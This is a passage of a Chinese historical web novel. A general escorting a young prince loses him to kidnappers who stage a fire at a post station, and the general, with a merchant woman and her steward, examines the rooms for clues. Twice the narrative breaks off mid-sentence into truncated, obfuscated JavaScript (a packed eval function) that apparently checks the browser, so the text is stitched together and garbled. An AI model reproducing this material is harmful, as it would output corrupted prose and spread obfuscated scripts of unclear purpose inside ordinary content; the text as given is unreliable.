“你你你,逸希姐姐你不要进来!”云攸纾已经把自己整个蜷缩在水里。 “原来平焕在沐浴啊,看来我不便进屋了,那我在楼下等你。”走之前,罗易越过罗晏的肩膀,故意望一眼沉在水中耳朵尖都红彤彤的少年。 三人一同下楼,韦祎关门前不忘了将脚凳移得更远。 “都亥时中了,还未用晚饭,是我照顾不周,不如就借用平焕的厨房,尝尝我的手艺。”罗易提议道。 “好啊,我和子隽就等着了。” “多谢姑娘。”韦祎亦点头。 他犹豫了一下,要不要去帮忙烧烧火,洗洗菜,打个下手,怎好让女孩子一个人忙碌。思之又觉得有些暧昧,便坐定不动。 这不用他担心,罗易是这里的大东家,懂事的客栈伙计鞍前马后,烧火的烧火,刷锅的刷锅,菜、果、鱼、肉,捡好的一应备齐。 五花肉切成大薄片,撒薄盐,在平底铁锅上煎得两面金黄,当然不用亲自切;用厨下常备的鱼浆打鱼丸,放在沸水锅中定型捞出,当然也不用亲自煮;几种菜蔬和蘑菇切好备用,在后厨的冰格里找到了一盘白胖的年糕,又从柜子里掏出一大把贻贝干。 拿出一口大砂锅,将五花肉、鱼丸、贻贝、菜蔬与年糕整齐地码在锅中,在伙计小心翼翼的提醒下终于是没忘了放葱姜与调味料,注入高汤,伙计端走放在小炉上,烧至汤滚后,转小火煲上一刻钟,即可上桌。 另一边自有小伙计问准了是吃饭、吃面还是吃炊饼,麻利地在大灶上烧火蒸饭。 煮这一锅,不算是非常美味,但好在速度够快,足够让罗易敷衍地假装自己有些贤惠。早已过了用晚餐的时候,腹中饥饿时热乎乎地吃上一碗,挺不错的。配店里大锅煮的凉茶,薄荷气味,凉丝丝。 30. 渔父歌 刚才打门口过的那一路官差,不知是不是为了云攸纾而来。 “逸希姑娘与东平郡的衙门相熟?” “不算熟悉,不过是他们知道我,我也知道他们罢了。” “小郡城的法曹,官职应当在七品、八品的样子,算是个小官,怎么在你面前,如此惶恐?”罗晏替韦祎问了,省得他踌躇。 “若说东平郡此地,大贪大恶是没有的,这儿上上下下,毛病只是无能,贪些小便宜而已,很好打发。”罗易道,“我与沥州的太守相识,他们自然怕我。更何况,每年的百两银子,虽然不多,他们拿着也手软。” 她若是遮遮掩掩,韦祎心里可能会有些不舒服,但是她坦坦荡荡地说出来,反而不觉得难受。 翻一翻大齐国的史册,隔三岔五便要整顿吏治,然而每次整顿,都能抓到大贪、小贪众多,腐败之事数不胜数,触目惊心。韦祎跟在皇帝身边时,曾听皇帝疑惑,“这饷银不少,选人慎之又慎,贪污罚得重,为何还是前仆后继?” 说来奇怪,韦祎也疑惑。 本朝当官的,待遇算得上优厚。 京城里的小官小吏辛苦些,京中人多地少,六品以下的,很难排到官家发宅院,但会按照家中人口数分配宿舍,不必花费银两租赁房屋。 相对地,在京中做事,机遇也多。 外省的官员,即使是九品芝麻官也配给宅院住所和轿马,吃公家粮米,实在没有什么需要大花销的地方,真不知那些人贪来千百两钱财,用在何处? 饭毕,又在堂中坐等了好一会儿,平郡王沐浴竟沐了一个多时辰!此时已是后半夜,云攸纾才穿好了衣服,从二楼的卧房中走出。 “虽然方才是虚惊一场,但依我之见,此地不宜久留,不如我们连夜离开,去往东海郡。”罗易提议,“东海郡是州府,治安怎么说也要更好些。如果真有敌人,我们算是先下手出其不意。” “夜里能出城吗?”韦祎问。 “子隽有所不知,因为东平郡需要常常向东海郡运货,运送过去的新鲜蔬果肉类要出现在第二天一早的集市上,只能连夜运送,所以东平郡并不关城门,我想这会儿,城门处正热闹呢。” “所以说……”韦祎想到,一座城门常开的小郡城,何须法曹带人查夜? “正是如此,东平郡中,从不查夜,也不查货车物品。那昏庸法曹说要夜间巡街,纯属胡扯。”罗易向韦祎道,“咱们这位京城来的将军,想不到乡野小城竟然不查夜吧?” 韦祎只好干笑两声。 “平焕,你走后,这店子交给我,我来给你派一位掌柜,只算是你从我这里雇佣的,每月盈余与你五五分利,等你回来时我一并给你,你可放心得下?” “姐姐愿意替我接管,我已经喜出望外了,竟然还能得利,哪里有什么放心不放心的?” “那便好,你快去收拾,我们一起出发。” “现在就离开的话,我要去下榻的客栈中取回包裹,结清房钱。”韦祎道,打早上出了门,一直到现在都没有回去。 “不用了,傍晚你在我卧房睡着时,周将军正回来,我已经拜托他给你取来行囊,等会儿你与我一同到商行中出发即可。” 原来这人是早就想好了连夜往东海郡进发。 幸好此时云攸纾已经上了楼,不然,听到韦祎睡在了罗易的房间里,又要一阵好闹。 不多时,云攸纾分几次,挪下来好多行李。 向店内的伙计告别后,与众人一同到了罗氏商行,罗晏罗易两个人一个转身的功夫,就收拾停当,合着这两位早上刚到,没打开过包裹呢。 马已备好,为了速度快,不拉马车,行李用马背驮着,一路向东海郡奔去。 到了早上东海郡刚开城门的时候,正好到达。 众人都奔波惯了,不觉得怎样。 唯有云攸纾,刚出发半个时辰就吃不消,叫喊了两声,众人安慰他一番,继续前进,后来见他也不喊了。 进了城,正喜悦时,云攸纾栽下马来,喘了好一会儿,两条腿已经支不住身体,坐倒在地上。 “这是怎么了?” “我从来没骑过这么久的马。”云攸纾呆坐在地上,喃喃自语。 “这算什么啊?”罗易把缰绳扔给随从,走过来扶云攸纾,“等你们赶上了大军,每天都要骑马一整日呢。” “什么?!” 罗易叫人背起已经变成一滩烂泥的云攸纾,云攸纾不愿让人背,于是只好两个人一左一右叉着他。 “住到我家去,别的不敢说,安全是能够保证的。”罗易带着众人径直往自家宅院进发。 “依我看,我们还是住在官驿之中罢。”韦祎道,这一路上他都在考虑这个问题。到了东海郡,不管是出于情分还是礼貌,罗易都必然邀请他们住在自己家中。 一来,此行奉密旨,虽然罗晏和罗易已经成了知情人,但也不能光明正大的知情啊,闹出来岂不是自己抗旨?第二,那黑影子可是在罗氏商行的客栈中出现的,谁知道其中有没有关联。 想到这,韦祎暗骂自己有些谨慎过头。 但此事不得不谨慎。 若不是云攸纾身体弱成这副样子,韦祎会决定补充物资后不再停歇,直接上路追大军。 “歇歇吧,他都那个样子了,若是在官道上病倒了,你们可怎么办?”罗晏也劝道,“不像我,是个劳碌命,老爹催得急,我要赶快去睡一觉,入夜就出发。” “那好吧,你的行装我让下面的人打点。”罗易摊手,“若知道你只来这一天,我就不带你去东平了。” 旁边自有随从得令而去。 “你办事我放心,走,我们吃早饭。” 云攸纾是没法坐在桌旁用餐了,罗易的随从叉着他安顿到官驿,开间上房,随后又找来医师给他检查一番。 “这位小公子只是有些劳累,身上酸痛罢了,无碍、无碍。”医师拈须道,“脉象看并无疾病,只是体弱,缺少锻炼,小公子平日里多爬山、游泳、打几路拳,身子会好起来的。” “郎中,无需开药?”韦祎问。 “不用、不用,歇息两日即可。” “可我们还着急赶路呢。”韦祎试探道。 “哎,身体的事情可急不得!”老医师怒道,“你是患者的什么人?” “我是他表哥。”韦祎面不改色撒谎道。 “你是怎么当哥哥的!你如此壮实,弟弟却身子骨羸弱!”医师立刻指责他。“劳累过度自然需要修养,至少养满两日!不然有什么差池可别来找我!” “听到没有!要养满两日!”云攸纾虚弱地躺在床上不忘对韦祎瞪眼。 “这可怎么办?”罗易笑着望向韦祎。 如今不敢放云攸纾一个人在驿站里,于是罗易的随从去附近有名的早点铺子里叫了一桌早点端来屋内,众人围桌用餐,唯有云攸纾躺在里间的床上动弹不得。 “中郎将,咱们必须得今天出发,若是再晚,就赶不上大军了。”周冲道。 “你就在此保护平郡王,我今晚出发,不到两日就能追上大军,再带些人来一起伺候这熊孩子慢慢走。”韦祎无奈道,就算他强拉着云攸纾赶上了大队伍,也没法行军。 “你也要多保重,一夜连着一夜的赶路,自己可别倒下了。”罗易道。 “逸希姑娘的相助之恩我记下了,只是公务在身,恕韦祎不能久留。” “那我来帮你备马,你今天就好好睡一觉。” 韦祎正想起身称谢,只听罗易话锋一转,“你不肯住到我家去,想必是在怀疑我,我也记着了。” 差点没噎死他。 罗晏在旁看热闹。周冲正埋头吃饭呢,他不知此中原委,听到人说什么怀疑,边嚼着东西边抬头来观望。 “看什么看,说你呢,我不在时,你看好里面那位,别让别人拐跑他,也别被他跑了。”韦祎说。 “得令!”周冲条件反射地起立吼道。 不等韦祎叹气,只听隔壁传来硬物砸墙上的声音,“大清早唱戏呢?让不让人睡了!”隔壁怪声怪调吼道。 众人互相看看,缩起脖子来吃饭。 刚回归安静,在床上躺着的云攸纾终于鼓起力气来表现自己的愤怒,叫道:“也给我吃点啊!” 这声音够大,隔壁立刻又砸墙三次。 “平焕别急,我让人去买了甜粥。”正说着,低低的敲门声响起,“这不,这就送来了。” 开门,门口是殷公子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“噢,你的意思是,把这位郡王殿下和咱们的生猪活鸡肉兔子养在一起。你是不是嫌他活得太长久了?” “我就是一说,您拿主意。”周冲往后退。 钱氿临行前来问,是多带鸡鸭,还是带几口生猪。 韦祎小时候养过一栏鸡,那叫声与味道令人记忆犹新,“带猪,少带些鸡。” “好咧。”钱氿依言去办了此事。 其实,猪也叫。 车颠簸,鸡叫猪叫连绵不绝,不乱叫的兔子如此亲切。 出发的那天傍晚,住在罗易家的罗晏来官驿找韦祎,要和他同行。 “你往北走,我往西走。”韦祎想了想路线,“最合理的路径是我们出了客栈就分别。” “说得也对。这儿离码头近,我们去逛一逛,算是旧地重游。” “不去。” 很快,罗晏拉着韦祎出了门,走前不忘叫醒睡着的周冲,让他看着云攸纾。 “你想说什么就站这里说,这儿空旷没人偷听,别逛街。” 离大码头有些距离的地方,用木头修了一座滨海的栈道广场,此时人都挤在大码头两旁的街市里,供人游玩的栈道上反而清净。 “我没什么想说的,单纯找你故地重游!你看啊,从离岛到现在,都整整十年了。” “像是只有几天。”韦祎往东南方向的海域看去,正想感怀一番,结果这位置不太好,东南方一块大礁石挡住严严实实。 “等什么时候得闲,应当回去探望。” “你这些年都没回去过?”韦祎奇道,自己在京城有差事,不得离开,罗晏自由自在的,竟然也没有回去过。 “你以为我清闲啊?不过是很奇怪,子元哥他们也都出山了,这些年我算是各地都走过了,竟然一次都没遇见过。你见过他们吗?” “没有。不过,走之前没留地址,当然遇不到。你以为这茫茫的人海,能偶然遇到就那么容易?” 两人一起望向那块煞风景的乌黑大礁石。 既没有回去过,又没有遇到故人,那么,那汪洋之上的小岛、村落、两座山峰还有山腰处嬉闹声不绝的院落,真的存在吗? 31. 不容易 “两位公子,可是要乘船出海?”新的煞风景元素出现了,一个穿亮橘色短褂,扎亮橘色头巾,背着票匣子,敲着锣的人与他们两个并排站在了一起,一口旱烟熏出来的黄牙,长叹道:“这大海的风光啊!多少男儿心向往之!”念罢,敲一声锣,“锵!!!” 两人屏住呼吸,控制住揍人的念头。这人嘴里飘出来的味道,实在不太好。 “小哥,不知去往蓬村岛的船何时发?”罗晏问。 “蓬村岛啊,去那儿的船可少喽!三个月有一趟,这不,上一趟刚走两天!”不知为何,那短褂男人又敲了一下锣。“您要是有急事想去,不如包一艘快船,干净宽敞,航行七八日和住在大宅子里没区别!我看两位这穿着打扮,不是大官,就是富商,若是想包船,随时来码头吩咐小的!” “您说话就说话,别敲了。”韦祎屏息道。 罗晏又撑着唠了两句,好不容易把码头的揽客差人打发走了。 “这么长时间了,你觉得小易怎么样?” 果然又要谈这个。 “这么长时间?我认识她有两天没有?”韦祎反问。 “我不用替你着急,我替小易着急,都二十三了,孤零零一个人支撑。” “是——吗?”韦祎严重质疑。 看罗易那架势,不愁无美色欣赏,亦不愁无人照料。 罗晏很“真诚”地点点头:“对啊,毕竟不同。” “你给她说亲,她乐意吗?说不定暗地骂你搅扰她的大好时光。” “乐意,”罗晏毫不心虚,“说亲不耽误大好时光。” 抛开罗易与朱公子、殷公子、云攸纾等一干人拉扯不清的关系,短短接触这一段时间,这姑娘真是一位女中豪杰,聪慧有趣、处事果决,比男子厉害。 “你有什么可介意的,你连儿子都有了,不准别人有几个,嗯,门客好友?”罗晏有理有据的劝他,“这男子若是有些余钱,都要去教坊花楼玩耍作乐、家中娇妻不够要养美妾歌姬若干,你想那男人家里的歌姬美妾,个个都不工作不赚钱,只是养来好看的。” “对,所以呢?”前半段说的是对的,韦祎可以认同,但是他约莫着后半段罗晏要说出什么歪理来了,所以持保守态度。 “小易不同啊,她所交好的那些个人物,就拿你见过的这几位举例子。殷公子在小易手下数得上名号,接人待物再稳妥不过,小易事多,眼到手不到的时候亏得有他时时刻刻帮衬。还有那朱公子,虽然看着脾气不大好,却是贩药材的世家出身,自小熏陶,最懂这药材买卖里面的门道,再说平焕,怎么说也是个郡王,没有哪个是无用的。”罗晏滔滔不绝,“看这世上,有小易这般成就的男子也没有多少嘛!她有几个门客算什么?” “生意上有用的人,可以雇用,可以交为好友,何须暧昧不明?” “你别想当然了,姑娘家行走在世上,哪有那么容易?” “停!别往下讲了,再不出发城门要关了。”韦祎可不想听别人的不容易,看此时天色已晚,扯个理由便开溜。 韦祎紧急赶路两天,带着两匹马换乘,在骑马快骑吐了的时候到达了早商议好的大军驻扎地。 “中郎将回来了,正巧了,赶上好时候!” 虽然韦祎不在,但驻地的中军大帐还是照常扎着,供众人商议军机之用。 钱氿正在大帐门口观望,韦祎可不觉得他这是在等自己。 便站下和他说两句话,互通各自近来的消息。 不一会儿果然有一个穿火头军褂子的小兵跑来匆匆对钱氿说,“氿哥!您那两锅火候差不多了!”说罢,匆匆又跑了。 “您进去坐着歇会儿洗个手,今天中午经过镇甸,我买得好些鲜肉,咱们今天有肉包子吃。”钱氿说罢,便抬腿往后头走了。 毫无防备地掀开帘子进门,本想着在床上倒一会儿呢,却被面前的景象吓了一呆。 大桌周围,肖丰坐在最前面,这也还算正常,可是后面排排坐了五个不认识的兵卒,个个人高马大精神百倍的,看服色都是有战功在身的校尉,见人进来,通通眼神炯炯地看着韦祎。 齐国以校尉称呼军中健者,算是对个人能力的肯定,有的校尉有官职,有的校尉也没官职,这都不一定。 能被称为校尉,就说明不是小杂兵了,韦祎也被人叫过校尉,金吾卫里的兵,都被尊称为校尉。 韦祎被看得发毛,只见肖丰站起来,向他抱拳问好,没等韦祎点头示意,那五个校尉一齐站起来,抱拳吼道:“中郎将安好!” 果真精神,震得慌,韦祎感到有些无法消受,强撑着点点头,“大家好,都坐吧。”随即将询问的眼神看向肖丰,肖丰只当看不见。 大家都坐在自己屋里呢,此时不可能去床上躺了,只好洗了手,去空着的主座处挺着腰杆正坐,身上穿着平日里的便装,数他最奇怪。 众校尉仍炯炯地看着韦祎的脸,等着他说话呢,韦祎又不知说些什么好,如坐针毡。 门口处又陆续进来四个健壮的校尉,依次向韦祎和肖丰问了好,各自落座。韦祎仍旧不知道该说些什么,肖丰亦不言语。 见两个老大都不准备说话了,一共九个校尉都是年纪相仿的年轻人,很快便你一言我一语地聊了起来,不多时便哥哥弟弟的叫成一团。 如此,韦祎便没有那么尴尬了。 “来了!”钱氿踢开门帘子,轻快地用后背挡住门帘落下的动势,迅速跳进来。立刻有在末座的两个校尉过去帮他接着手中的大蒸笼,放在了桌上,冒着白色的腾腾热气。 “烫手,当心些!”钱氿叮嘱道。 “哇!肉包子这就好了!咱们尝尝氿哥的手艺!”一个校尉激动道。 “等着,另有一锅我去端来,还有叫花鸡呢!”钱氿自豪地拍拍手,“你们两个,跟我一起去。” 赶在他出门之前,韦祎将询问的眼神投向钱氿。 “您不知道吧,在座诸位都是您派肖丰找来的人,百里挑一的军中健儿!” 四下响起一片包含着高兴与不好意思的自谦之言辞。 “原来是这样啊!”韦祎假装自己知晓了,“大家坐着说话,我跟你去取饭菜来。” “那行吧,”钱氿打起帘子来,“您请。” 火头军那处的灶上架着另一只有三四层的大蒸笼,下面的炉子已经捅灭了火。余下火头军都在忙乎着做大锅饭,无人理会他们。 钱氿上前去,找了两块湿布包着手,端起大蒸笼。“往这边走。” 韦祎跟他一同走到营地后的空地上,地上生着一堆快灭掉的篝火,附近地上插着一只铲土的铲子。 “您来端着笼屉,我挖?”钱氿询问道。 “不用,我挖吧。”韦祎抄起铲子,很熟练地将篝火拍灭掉,推到一边去。用铲子挖开篝火下的土地,挖出三个干干的椭圆泥巴球。 用不着钱氿指点,韦祎将三个泥巴球都堆在铲子上,用铲子把滚烫的叫花鸡端起来,“走吧。” “您很懂嘛!”钱氿挤挤眼,显然是没想到簪缨之家的大少爷,竟然会鼓捣叫花鸡。 “嗯,小时候常做。”韦祎道,“屋里那群人是怎么回事?” “您不是说让肖丰探一探这群人的身手嘛,这些人里有咱们城防军其他营的,有禁军来的,有顺天军的,还过得去。” “然后呢,他们是为什么坐在我屋里?”这才是韦祎真正疑惑的。 “不打不相识,然后他们就认了肖丰做大哥了!我们做东,好歹请吃顿饭。”钱氿道,“正好您今天回来,认识认识,等咱们回去了,一起拐走。” 虽然韦祎也想拐些人走,以防手下无人可用,后继无力。但是一气儿拐走这么多,等着众军将领一同上奏章去兵部参自己吧! 两人走回了中军大帐,众人热烈欢迎。早有人拿来碗筷摆好,只等开餐。 众军聚餐,当然是主将先动筷,韦祎只好重新洗洗手,落座后掀开笼屉,夹起个包子,“大家用餐吧!”众人才一哄而上,站起来拿包子的,拔出匕首敲开叫花鸡的,不亦乐乎。 虽然现在每日只走一半的路程,午休晚休时间加长,轻松很多了,但钱氿也忙得没时间仔细去做小包子。 于是韦祎拿在碗中的这包子,发面的,圆圆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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第二天一早,肖丰带着七个校尉,有昨天曾一同共用晚餐的,也有从前在城防军相熟的,加上肖丰一共八个人,与韦祎一同离开大营,往东奔去。 而大军在韦祎的要求下,停留驻扎地休整操练。 顺顺利利办大事,韦祎没这个运气。 回东海郡的行程不用再担心要赶时间去追大军队伍,众人白天赶路,夜间休息。比昼伏夜出多用了小半天,第三日的午后,众人赶到东海郡城门下。 为了方便行动,在路上遇到了镇甸,进去买了成衣换上。 藏好兵器,牵着马进城。 进城这一路上打听了何处能买马车。 只可惜,官驿门口等着韦祎一行人的并不是已经养好身体的云攸纾,而是一身白衣胜雪的殷濯。 “韦将军,您可算到了。”殷濯少有的表现出了一些焦急,“您先听我说,大事不好。昨天夜里平老板被歹人掳走,周将军去追了,我家小姐得了消息也带人去帮忙,派我在此等着您!” “什么?” “来不及细说了,他们都往北去,我知道的不多,我们快出发吧!”殷濯没理由担心云攸纾,他更担忧罗易。 “肖丰,上楼看看!”韦祎撇开殷濯拉着他的手,三步并作两步冲进官驿。肖丰挥手让众人守住官驿的进出口,随即跟上。 “你们是什么人?!竟然擅闯官驿!”管官驿的小吏正坐在柜台后打盹儿,见有人冲进来,迷迷糊糊的便起身喝止。 肖丰一偏头,看着他,铜铃大眼里寒光闪烁。管驿站的小吏浑身一激灵,裤子湿了一片,滴滴答答往下淌,后背顶着板壁跌坐下去。 这方法当真轻松快捷,连官凭都不必查验。 昨天夜里,说来慌乱。 为了方便就近保护,云攸纾与周冲住进了一间上房之中。云攸纾睡在内室的床铺上,周冲睡在客厅中的榻上。 这几天云攸纾睡多了,夜里反而睡不着。 周冲这人不仅和他聊不到一处去,还哪哪儿的跟着,不胜其烦。这周冲实在无聊了,就会把新交的朋友殷濯、朱愈找来,拉着云攸纾凑做四人一同打牌。 这里头,要属周冲的脑子最差了。殷濯何等人物,记牌不在话下,朱愈也很聪慧,与云攸纾差不多。一旦殷濯和朱愈联手,就能让云攸纾变成云攸输,反而是便宜周冲赢了好几局,大呼好运到。 白天输牌输了一肚子闷气,晚间本就睡不着,客厅里周冲还打鼾,云攸纾瞪着眼在憋坏水,忽然听到厅中毕毕剥剥的轻微声响,坐起来一看,厅中竟然起火一大片,已经从地上烧到了屋顶! 32. 堂中火 “周将军!周将军!走水了!你快醒来!”云攸纾喊道,不见周冲有声音,他想跑到厅中去摇醒周冲,奈何不敢穿越隔在中间的那片大火,想跳窗逃生吧,又不好意思扔下熟睡的周冲。只好踩着茶几挪上内间的窗户,一腿在内一腿在外的跨坐在窗沿上大呼救火,一边又高喊周冲。 周冲睡得正香,梦里听见有人叫他,还闻到一股酒味。 待他反应过来想从床上跳起来,竟一阵天旋地转,头痛得厉害,根本起身不得,叫都叫不出声来。 他伏在榻上听云攸纾在里间叫喊,不多时就没了声音。 只以为是云攸纾等不得了,自己从二楼跳下了房。 “二楼而已,应该摔不着。”周冲想着,待能起身了,便奔向窗边往街上看,正看见一众穿黑色劲装的人一根绳子七手八脚将云攸纾捆了个结实,扔进了马车之中沿街往北驶去。 想即刻跳下楼去追,又想到房内已经失火,若不及时示警,火势蔓延定伤及众人。 大声叫喊却无人反应,尤其是隔壁那位恶邻居竟然也没醒。 平常无论早晚,只要声音稍微大些,他们便砸墙叫嚣,若是不赶快安静下来,更是要闯进来大闹。 这是官驿,这么没素质,估计是偏远之地的土司来办事,别惹他们为妙,就忍了这好几天。 “该听见的时候听不见!”只好折回去跑到楼下去叫醒驿丞,驿丞的房门也拍不开,只好咬着牙狠心离开,跑到街市上去,街市上还哪有人影? 回身去把马解开,跨上马往北奔去。 往北出城的路上正经过了罗家的大商行,今夜殷濯留商行当值,正好赶上周冲闯进来,匆匆两句交代了始末,又赶忙跑了出去,向北追逐。 殷濯思及自己调不动镖局的镖师,没武力,怎么帮得上忙?动身赶去罗宅,将此事禀报给罗易。 于是罗易从床上爬起来,再去叫人把镖师们叫起,让殷濯在官驿等着韦祎,自己和镖师们带武器星夜出城。 到城门处自然被拦住,今天值夜守城的是个新提拔上来的愣头青,不识罗易。 罗易只好又遣人去往军曹处疏通关系,等疏通到位了,正好到了清晨开城门的时间。 虽然内心里白眼翻上天,罗易还是好言问道:“夜里从此处出城一队玄衣人马,后面跟着一单骑,为何对他们放行?” 守城队长丝毫不惧:“昨夜里就出城两队,本将军当然记得!第一队乃是平郡王殿下的车架,随后是百户周将军,都是官身,验过官凭自然可以放行!”随即上下扫视罗易,“这位姑娘莫怪本将军心直口快,别管姑娘你家里做了多大的生意,说白了不过是个民家小女子,装模作样打打杀杀的,成什么体统呀?你这是在给你的父兄丢脸!” 匆忙赶到的东海郡军曹听了这话出了一身的汗,立刻上前打断,“小刘,这都早上了你快下值休息去吧!” “军曹大人!”那守城的抱拳道:“还有半个时辰才换岗,末将不能先走!”义正词严。 “罗老板,小刘他年轻,您别和他一般见识。”军曹只好对罗易陪笑道。 罗易微笑回礼道,“张军曹说笑了,一大早让军曹大人赶来,民女心中过意不去啊!”转而对那守城的队长道,“听口音,将军似是凉州人士?背井离乡来东部当差,实在令人敬佩!民女自然应该多多体谅。” “凉州同辉郡刘正道!”傲然报出家乡与姓名,刘正道凛然表示:“我凉州自古多英雄,我等自然应该仿先辈事迹,为国效力!不劳烦妇孺之辈称颂。” “原来是刘正道刘将军啊,今夜劳动了刘将军,隔日一定备上厚礼上门致歉!既然城门已开,民女便出城去了。军曹大人,告辞了!” 现在有火烧眉毛的大急事,说了这几句已经算是拖延,歹人和周冲恐怕都不知道跑哪里去了。 不过到此时已经耽误了大半夜,早就不知道跑到哪里了! 出了城门,在城郊的空地上勒马。 “褚先生,这东海郡之北,他们会去往何处呢?”罗易问。 一个留着小胡子、穿着褐色劲装的小老头坐在马上紧跟罗易,显然除了罗易之外,众人以他为首。 “老夫想着,周将军会留下指路的信标,咱们四处找找,好过随意猜测。” 罗易点点头,“就依先生之见。” 殷濯没有跟来,朱愈今夜恰巧住在罗易宅中,于是他跟来了。 “刚才那个守城门的队长姓甚名谁,玉芝你可听见了?”罗易问。 “当然听见了,在沥州地界上,他敢惹了我家小姐,要倒霉了。”有人要倒霉,朱愈很开心。 “哎,他可是官兵,职责使然,可千万别得罪了他啊。”罗易与朱愈对视,笑得不怀好意。 朱愈表示自己当然有分寸,“他家若是孩童进学、妻子生产、亲人患病、购房赁地、升官发财,一定叫他诸事顺意。” “嗯,这样一身正气的官儿可少见,你若得闲,定要好好结交。” “一切听小姐的。”朱愈谋划着,只要玩不死他,就往死里玩,不长眼的人在东海郡里可太少见了,遇到一个当然得多加珍惜。 在官驿,见韦祎带人上楼,殷濯只好跟着上了楼。 “不是说这里起火了?”韦祎一脚踹开云攸纾那一间的房门,扫视周遭,一切如常,哪里有刚刚着火的痕迹? 殷濯答:“昨夜听说了走水便让人赶来官驿,我去叫了小姐之后也赶来了此地,当时屋中便是这样,没有起火,也没有灭火的痕迹,于是我们没有再惊动他人。” “难道迷药还能做出幻觉来?”韦祎自语道,蹲下来摸一摸地上,并无黑灰。 再抬头向上看,“屋顶。” 屋内的三人一同抬头,原来此屋中一切无恙,唯有客厅与内室的间隔处,屋顶的白墙上有火烧熏黑的一道痕迹。 韦祎把圆桌往这边扯一扯,站上去摸了一把屋顶熏黑的痕迹,“确是火烧熏的烟。” 从屋顶上转开眼睛的殷濯向旁边看看,后退一步,“唔!” 肖丰恶趣味地冲他瞪大了眼睛微笑点头。 “殷公子,这位是肖丰。肖丰,这位是殷公子,是罗小姐的管事。”韦祎介绍道。 “罗小姐是?”肖丰问。 “罗小姐是罗晏的堂妹。”韦祎想了想,却是很难让肖丰搞清楚突然冒出来的这一票人都是谁。 “好吧,殷公子你好。”肖丰“友好地”笑了笑。 “肖将军安好,在下殷濯。”殷濯亦微笑问候,又不着痕迹的后退半步。 “按照周将军的说法,当时屋中起了很大的火,将里屋和客厅完全阻隔了起来。如果火势这么大,断不可能只有这一点痕迹。”殷濯回忆道,“我初看到这般景象,也怀疑是周将军出了幻觉。” “殷公子,最近官驿可有什么异常?” “小姐和我都来探望过数次,要说异常吗……”殷濯回忆道,“一切如常,除了这官驿的左邻十分挑剔,我们说话声稍稍大些,便砸墙、拍门,着实无礼。” “是了,我记得刚到东海郡那日用早饭,他们砸了好几次墙。” 三人来到相邻的房间门前,抬手敲敲门,无人应答。 “驿丞,请问这天字三号房的客人是否离店了?”韦祎站在走廊上往楼下问。 不见有人回答。 于是肖丰走到楼下看了一眼,回答道“晕了。” 又吓晕一位,韦祎摇头,“店里的伙计呢?” “刚才都跑了。”肖丰答。 “算了,你上来吧。”韦祎摇摇头。见门外没有上锁,推又推不开,抬腿一脚踹开。看着脾气好,现在也憋了一肚子火了。 “中奖了。”肖丰正走上楼来,恰巧看到天字三号房内的景象。 别说这屋内气味不好,卫生情况也实在太差。 官驿二楼的这一侧只有三间房,天字一号、二号、三号。于是一号房和三号房都靠三墙,比如这间三号房内正对大街的南向有窗,邻着侧巷的西墙上也有窗。 桌上是馊了的残羹剩饭,地上是果皮果壳、烧鸡烧鸭的骨头若干,干粮碎屑无数。用官驿里的备用被褥铺了好几个地铺。 踮着脚尖走进去,看到内室情况好上一些,床上被褥揉成一团,靠着墙面的横案被移到一边。墙面上靠着个足有两尺直径的铜喇叭,连着一只听筒。 就 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“我们四处看看,有无证据留下。” 三人忍着腌臜,在这烂摊子里四处翻找。 “原来如此,这是避火布。”片刻后,殷濯从一堆地铺里面拽出一条毛毡样的布料,乍一看像个没有花色的毯子。 殷濯从袖中摸出火折子,吹燃起明火,点在毡上,毛毡竟然完全点不着。“若不是此物难得,我是真想把仓库里的防尘毡都换成这个。”殷濯把这东西当个宝,恨不得把手中这块占为己有。 韦祎和肖丰都没听说过,今天见了竟有此物,立刻想到,若是用在军中,能避免多少火烧连营啊! “此物价贵?”肖丰问。 “价贵倒是无妨,只是银子买不到。此物是西域人发明,之后也曾在各国流传。”殷濯叹道,各国都将其引为军用机密,争相垄断,只可惜当时我们这里正值朝代更替之乱,因此没能存下制作的技法。 有了避火布,昨夜的纵火怪事就变得不值一提。只要将避火布两面缝上普通布料,悬挂在厅中点燃。云攸纾没被下迷药,先醒来便先离开,一旦跳出窗户去就会被掳走。周冲中了迷药,一定醒得晚,后离开,于是得以分开二人。 两人都离开后,再进到房间内用机关将避火布卷起,火自然熄灭。 “挺有良心,没真的弄出火烧十里长街。”韦祎没好气儿,见这屋没留下其他证据,“走吧,去追。” 下楼梯时,脚步一滞,眼神望向了天字一号房。“一号房一直住着人?” “没听到有过动静。”殷濯摇头。 走到天字一号房门前,门上挂着锁,是有官驿标识的大锁。 “一般客栈里,锁若只是挂着,就代表房没有客,若是锁着,就是房中有客人,客人锁上出门去了。”殷濯指一指这锁,“不知道官驿与我们这些民间客栈是否相同。” “肖丰,去拿钥匙。” 肖丰冲楼下招招手,正好有个校尉正站在楼下厅中,十分殷勤地跨过横躺在地上的驿丞,从柜台里找来钥匙,跑上楼交到肖丰手里。 韦祎回忆起,那次在夜里偷看密旨的黑影子,灵活利落,身上一点气味都没有,怎么会住在三号房那种腌臜不堪臭气熏天的地方? 一号房非常整洁,床铺上没褶子,被子折好方方正正。翻一翻箱子柜子,没有其他行李,两件长衫用衣架子撑着,挂在门后。水盆里的水是干净的,擦脸的方巾折好放在了一旁。 最特别的是窗边的几案上,用粗陶的舀水缸子供着很多开得正好的艳色杜鹃花。 粗陶缸子并非官驿中的东西,韦祎记得,官驿斜对面就是卖粗陶的小铺子,这东西是结实耐用又很丑的便宜货,一文钱就能买一个。 “这等成色的杜鹃花如今市价几何?” “韦将军,杜鹃喜冷,只能种在山顶上,沥州山少,来回运送费力,所以我们沥州的杜鹃不便宜,每支要卖七个铜板往上。” 十个铜板是一串,十串钱是一贯,抵银一两。 “这里至少有十几支杜鹃,合计快值一两银子了。” 33. 海崖畔 虽然奇怪,但毕竟没什么可疑之处。擅闯别人的屋子,韦祎心里有些不自在,一切归位,锁上门离开,又将钥匙放回了柜台。 躺在地上的驿丞眯着眼悄悄看过来。 